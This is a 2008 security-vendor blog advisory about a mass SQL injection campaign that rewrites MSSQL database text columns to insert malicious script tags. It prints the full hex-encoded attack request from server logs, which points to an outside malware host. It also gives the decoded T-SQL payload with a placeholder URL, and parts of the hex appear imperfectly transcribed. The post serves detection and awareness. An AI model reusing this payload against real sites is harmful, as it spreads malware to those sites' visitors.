



Home → Threats and Trends → TrustedSource™ Blog

TrustedSource™ Query

Enter IP address, domain name or URL to check reputation/traffic patterns:

Threats and Trends Home

- Overview
- Email
 - Top Sender IPs
 - Top Sender Domains
 - Top Level Domains in Spams
- Zombie Locator
- Malware
 - Latest Threats
 - Top 20 Today
 - Library
- Storm Tracker
- TrustedSource™ Blog

Latest Malware Threats



Trojan.Clicker.Agent.TP	2008-12-18
Trojan.Dldr.Small.euo	2008-12-18
Trojan.Agent.Abt.34	2008-12-11
Trojan.Autorun.TE	2008-12-11
Trojan.Drop.Small.abw	2008-12-05
Trojan.Dldr.iBill.BR	2008-12-04

→ View Malware Library

TrustedSource™ Blog

New SQL Injection Attack Infecting Machines

August 10th, 2008

A new SQL injection attack started circulating last week, and appears to have infected several thousand web servers as of late Friday evening. The attacks look similar to the one below, and attempt to query random valid files on the web server.

The sysobjects and syscolumns tables queried are the give away: the attack is targeting machines running MSSQL server and storing the malicious HTML code in the database. It's also possible that web servers with Sybase database backends could also conceivably be exploited, as Sybase is largely using the same SQL syntax and table structure as MSSQL server.

The SQL statement itself scans through all of the tables in the database, inserting the attack author's own HTML into the contents of each page. This ultimately causes the web server's visitors to, depending on their client, be sent one of many different forms of malware from the referred pages. Similar to phishing, this attack takes advantage of the website visitor's trust in the site they are visiting. Instead of phishing for information, however, malware is sent to the client, which the client has a higher likelihood of accepting being from a trusted site.

This type of attack could conceivably be used to launch traditional phishing attacks on sites requesting financial information, or any other type of attack where the visitors' trust can be exploited.

The actual requests you may find in your webserver logs look like this:

```
GET /?';DECLARE%20@s%20CHAR(4000);SET%20@S=CAST(0x44445434C41524520405420766172636861722838617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D31363729204F50454E205461626C655F437572736F7220464544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C452840404645443485F535441545533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D2B272723E3C2F7469746C653C736372697074207372633D22687474703A2F2F73646F2E313030306D672E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272720776865726520727B40432B27206E6F74206C696B6520272725223E3C2F7469746C653C736372697074207372633D22687474703A2F2F73646F2E313030306D672E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D2727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C452840404645443485F53545205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);HTTP/1.1
```

This hexadecimal output decodes to the following SQL statement (malicious urls removed):

```
DECLARE @T varchar(255), @C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name, b.name from sysobjects a, syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE (@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C +']=''+@C+'')</title><script src="http://www.domain.com/malware/w.js"></script><!-- where '+@C+' not like "%</title><script src="http://www.domain.com/malware/w.js "></script><!--') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
```

As of today, this attack is still working and ongoing. We are seeing evidence of successful exploitation attempts across hundreds of web pages. These web pages are associated with web sites from around the world and supplying various content- including government sites, sales sites, real estate sites, and financial information sites among others.

→ [Back to TrustedSource™ Blog overview](#)

ANY INFORMATION PROVIDED BY SECURE COMPUTING ON THIS BLOG ARE OFFERED "AS IS" WITH NO EXPRESS OR IMPLIED WARRANTIES, CLAIMS, PROMISES OR GUARANTEES ABOUT THE ACCURACY, COMPLETENESS, OR ADEQUACY OF THE INFORMATION CONTAINED IN OR LINKED TO AND NO RIGHTS ARE CONFERRED. BY USING THIS BLOG, YOU ASSUME ALL RISK FOR YOUR USE. IN NO EVENT WILL SECURE COMPUTING BE LIABLE FOR ANY INDIRECT, SPECIAL, CONSEQUENTIAL, INCIDENTAL, EXEMPLARY, OR OTHER DAMAGES WHETHER OR NOT SECURE COMPUTING HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH LOSS OR DAMAGE. SECURE COMPUTING HAS NO OBLIGATION TO POST BLOG SUBMISSIONS OR RESPONSES.